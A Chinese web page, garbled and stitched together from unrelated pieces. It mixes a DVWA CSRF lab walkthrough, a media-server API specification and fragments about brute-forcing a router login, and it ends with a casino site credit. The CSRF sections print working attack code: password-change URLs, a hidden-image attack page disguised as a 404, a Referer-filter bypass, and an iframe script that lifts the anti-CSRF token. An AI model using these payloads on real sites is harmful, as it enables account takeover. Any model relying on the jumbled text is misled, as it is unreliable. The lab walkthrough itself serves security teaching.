1.概述
CSRF(Cross-site request forgery)
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。在2013年发布的新版OWASP Top 10中,CSRF排名第8。
1.png
下面对四种级别的代码进行分析。
image
1.1.用途
向集成客户端提供查询数据和登录服务。
如果资源需要授权才能查看和使用,请首先阅读“5.登录验证”小节。
Low
服务器端核心代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)。
在院子里面看到了一个没人用的路由器(ws860s),看起来像个黑科技的玩意儿,就想着进去看看,到底有什么好玩的。看到后面的标签上有web界面的地址,然后登陆进去看看,发现有密码,然后我想,路由器的密码应该都是可以reset的,然后我就用笔戳那个reset键,奇迹没有发生,原来这个reset键坏了。
1.2.通信协议
客户端和服务器通过HTTP协议通信,客户端使用HTTP Get向服务器发送请求,服务器返回json格式的业务数据或操作结果给客户端。
漏洞利用
1、构造链接
A) 最基础的:
http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#
当受害者点击了这个链接,他的密码就会被改成password(这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了)
1.png
需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。
1.png
有人会说,这个链接也太明显了吧,不会有人点的,没错,所以真正攻击场景下,我们需要对链接做一些处理。
B) 我们可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):
如http://dwz.cn/****
1.png
因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接= =,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。
1.png
需要提醒的是,虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。
C) 构造攻击页面
现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示(才不是我租不起服务器= =),就在本地写一个test.html,下面是具体代码。
<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/><h1>404<h1><h2>file not found.<h2>
当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack。
1.png
1.3.接口请求
接口地址是一个HTTP协议的url地址,具体格式是:
ip替换成实际服务器的ip或域名,如果端口不是默认端口,需要把端口加上。
token是认证字符串,在登录接口中获取,如果没有登录则省略。
其他内容参见接口的定义。
当URL请求参数值中包含URL地址保留字符时,应对参数值进行URL编码。
具体参见“RFC2396: Uniform Resource Identifiers (URI): Generic
Syntax”。
当请求参数包含中文字符时,应对中文字符采用UTF-8编码。
Medium
服务器端核心代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
mysql_close();
}
?>
相关函数说明
int eregi(string pattern, string string)
检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130),希望通过这种机制抵御CSRF攻击。
1.png
image
1.4.返回消息结构
返回的json消息数据结构具有严格的一致性,客户端可以采用一致的接收和解析方式处理返回消息。
简单消息
简单的返回消息包含对请求的处理结果,结构如下:
{
"code":0,
"err_desc":""
}
其中:
code 为0表示处理成功,其它值表示处理失败。
err_desc是对错误的描述,在code为0时err_desc会被省略。
特殊情况,在用户认证的login1和login2接口中,err_desc具有特殊用途用法,具体参见接口描述。除这两个接口之外,err_desc都表示错误描述。
带业务数据的消息
有的返回消息除了包含处理结果信息,还包含业务数据记录集,结构如下:
{
"code":0,
"data":{
"count":1,
"items":[...]
}
}
其中:
data 业务数据的根节点:
count 业务数据的条数,可能的值为0 ~ n
items
业务数据,是一个数组,数据条数由count属性定义。当count为0时,items属性可能为null或者不存在。
本文档后续章节中,在描述items元素的属性时,会省略一些属性的描述,即实际调用接口返回的属性在本文档中可能会没有描述,这种情况下请直接忽略被忽略描述的属性值。本文档中描述的属性是实际返回内容的一个子集,没有描述到的内容对集成本系统没有影响。
带分页数据的消息
如果返回数据较多,服务器会对返回的数据进行分页,客户端可以按照页码请求指定范围的数据。带分页信息的返回数据结构如下:
{
"code":0,
"data":{
"page":1,
"page_size":"20",
"pages":"1",
"total":"2",
"count":2,
"items":[...]
}
}
分页数据信息在data元素下,意义如下:
page 当前页码
page_size 每页数据记录条数
pages 总共的页数
total 总数据条数
count 当前返回页的数据条数
如果返回的数据带有分页信息,则可以在调用接口时使用page参数来请求指定页码的数据。
漏洞利用
过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.153.130)
我们可以将攻击页面命名为192.168.153.130.html(页面被放置在攻击者的服务器里,这里是10.4.253.2)就可以绕过了
1.png
下面是Burpsuite的截图
1.png
Referer参数完美绕过过滤规则
1.png
密码修改成功
1.png
1.5.参考
[1] RFC 2616, Hypertext Transfer Protocol -- HTTP/1.1[S].
[2] RFC 3986, Uniform Resource Identifier (URI): Generic
Syntax[S].
[3] Introducing JSON
High
服务器端核心代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
image
2.查询分类
漏洞利用
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
<script type="text/javascript"> function attack() { document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value; document.getElementById("transfer").submit(); }</script> <iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;"></iframe> <body onload="attack()"> <form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf"> <input type="hidden" name="password_new" value="password"> <input type="hidden" name="password_conf" value="password"> <input type="hidden" name="user_token" value=""> <input type="hidden" name="Change" value="Change"> </form></body>
攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.153.130/dvwa/vulnerabilities/csrf,位于服务器192.168.153.130上,而我们的攻击页面位于黑客服务器10.4.253.2上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器192.168.153.130中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。
1.png
这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token
1.png
注入代码如下
1.png
分析过程
2.1.查询分类
用途
查询CMS上的分类信息。
请求
parent 上级分类编号。如果忽略,会返回一级分类列表。
如果要查询一级分类,请去掉parent参数。响应
{
"code": 0,
"data": {
"count": 2,
"items": [
{
"id": 1,
"name": "公共栏目",
"comment": "",
"upper_catalog_id": 0
},
{
"id": 2,
"name": "私有栏目",
"comment": "",
"upper_catalog_id": 0
}
]
}
}
id 编号
name 名称
comment 备注
"upper_catalog_id 上级分类编号, 0 表示当前分类是一级分类。
Impossible
服务器端核心代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。
原帖地址:http://www.freebuf.com/articles/web/118352.html
抓包
2.2.查询分类树
用途
查询所有分类及其下级分类。
请求
响应
{
"code": 0,
"data": {
"count": 2,
"items": [
{
"id": 1,
"name": "公共栏目",
"comment": "",
"upper_catalog_id": 0,
"sub_items": [
{
"id": 5,
"name": "二级分类1",
"comment": "",
"upper_catalog_id": 1
},
...
]
},
...
]
}
}
id 编号
name 名称
comment 备注
"upper_catalog_id 上级分类编号, 0 表示当前分类是一级分类。
sub_items 下级分类数组,包含 0 或多个下级分类。
1、打开路由的web页面:192.168.3.1,路由器返回
3.查询媒体资源
3.1.查询媒体资源
用途
查询媒体资源。
可以查询某个编号的资源的信息,也可以查询某个分类下的所有资源信息。
请求
parent 分类编号,如果要查询某个分类下的所有资源,请忽略下一个参数。
media_id 资源编号,如果给出该参数,则只查询编号为media_id的一个资源的信息,并忽略parent参数。响应
{
"code": 0,
"data": {
"page": 1,
"page_size": "20",
"pages": 9,
"total": "18",
"count": 2,
"items": [
{
"id": 79,
"catalog_id": 2,
"title": "vod - 8898",
"sub_title": "G3视频",
"abstract": null,
"text": null,
"resource_type": "vod",
"cover": "/mserver/cms/covers/res_cover_79.jpg?1515729601",
"duration": 98,
"add_time": "2018-01-08 19:19:26",
"view_times": 0,
"open_status": 0
},
...
]
}
}
返回0个或多个资源信息。
id 资源编号
catalog_id 所属分类编号
title 标题
sub_title 小标题
abstract 摘要描述
text 描述
resource_type vod或live
cover 封面地址
duration 播放时长
add_time 添加时间
view_times 观看次数
open_status 开放状态
image
4.查询播放地址
4.1.查询播放地址
用途
查询某个媒体资源的播放地址。
请求
media_id 资源编号。
protocol 播出协议,点播资源可以是hls,http-flv或http-mp4;直播资源可以是 rtmp或hls。如果省略,返回所有协议的地址。
客户端请根据终端类型选用合适的播出协议:
android、ios或其他支持H5的浏览器,可以选用:hls, http-mp4协议
PC选用http-flv或rtmp协议响应
{
"code": 0,
"data": {
"count": 1,
"items": [
{
"id": 104,
"resource_id": 39,
"web_url": "/mp4/vod/yellowstone/yellowstone.mp4",
"web_io_protocol": "http-mp4",
"add_time": "2017-08-25 16:35:16"
}
]
}
}
返回0个或多个播放地址,一个资源可能有多个不同协议的播放地址。
resource_id 资源编号
web_url 播出地址
"web_io_protocol 播出协议
image
5.登录验证
会得到csrf和cookie和所需要的值,这些值都要保留下来,后面会用。
概述
1)登录的要求和意义
客户端应当首选判断服务器是否要求必须登录。如果要求,则应首先调用登录接口登录,然后再请求其他接口。
是否需要强制登录,跟运营需求有关,网站运营者可以通过管理平台设置这个选项。
如果没有强制要求,客户端可以登录,也可以不登陆。
用户正确登录后,会获得一个token值,在后续的接口中,应当将该token值带入。例如:
2)登录的流程
服务器和客户端通过“挑战->应答”方式(challenge-response)进行身份认证交互,在这个过程中,客户端需要调用两次接口向服务器证明身份。认证过程中不需要传递密码,密码用于签名验证。
身份认证的过如下:
1)客户端使用“用户名”作为参数调用“login1”接口,向服务器发出身份认证请求
1.1)服务器确认用户是否是有效的用户:
1.2)若不是,则不做进一步处理,返回错误信息
1.3)若是,服务器产生一个“随机数(挑战字符串)”发送给客户端
2)客户端使用“用户密码”和“随机数(挑战字符串)”作为输入,按约定的算法生成一个hash值,用该hash值作为 调用“login2”接口的参数,请求login2接口。
2.1)服务器用收到的hash值与自己的计算结果比较,若二者相同,则通过认证;否则,认证失败
2.2)若认证通过,服务器返回“token”给客户端,否者返回错误信息。
2、输入用户名密码后:
5.1.判断是否必须登录
- 用途
判断是否要求必须登录。
如果要求必须登录,则需要先登录,否者查询数据的接口会返回没有权限的错误。
请求
- 响应
{
"code": 0,
"err_desc": "no"
}
err_desc 属性描述了对登录的要求。no 表示不强制要求, yes 表示必须要求登录。
5.2.login1
用途
提交认证申请,接口返回挑战字符串。
请求
username 登录用户名。响应
{
"code": 0,
"data": {
"count": 1,
"items": [
{
"id": 37,
"chcode": "9luqgrnj5vvszmjw"
}
]
}
}
id session识别号,用于login2接口,原样传递给login2即可。
chcode
挑战字符串,客户端按约定规则使用该字符串生成一个hash值,然后调用login2接口。
image
5.3.login2
用途
使用login1返回的chcode计算出一个hash值,提交给本接口申请到一个token。该token值用于其他接口的认证。
请求
id login1接口返回的id值,原样带入。
hash 根据约定计算出的hash值。算法:
hash=md5(md5(password)+chcode)
描述:首先计算出密码的hash值,然后在生成的密码hash值尾部拼接上挑战字符串形成新的字符串,最后计算这个新字符串的hash值。
hash算法采用md5算法,生成的摘要采用16进制编码,编码生成的字符采用小写字母。
例如,字符串111111的hash值是 96e79218965eb72c92a549dd5a330112响应
{
"code": 0,
"data": {
"count": 6,
"items": [{
"id": 2,
"name": "王工",
"sex": 1,
"logo": null,
"token": "c9xpghlmgxn58kdq",
"group_id": 1
}]
}
}
name 用户名
sex 性别,1男 0女
logo 用户头像,null或者头像url
token
认证令牌,在无法保持session的情况下,在请求其他接口中应当将token参数带入
group_id 用户所属的用户组
5.4.logout
用途
退出登录,退出应用前请尽量调用该接口。
请求
=abcdefg
token 登录接口中获得的token响应
{
"code": 0,
}
image
image
image
3、路由器返回数据
image
密码的生成方法
从上面抓包的结果来看,Password字段是经过加密的,所以如果我们要Python暴力破解,需要把这个password的生成算法找出来。
本文由美狮美高梅官方网站发布,转载请注明来源
关键词: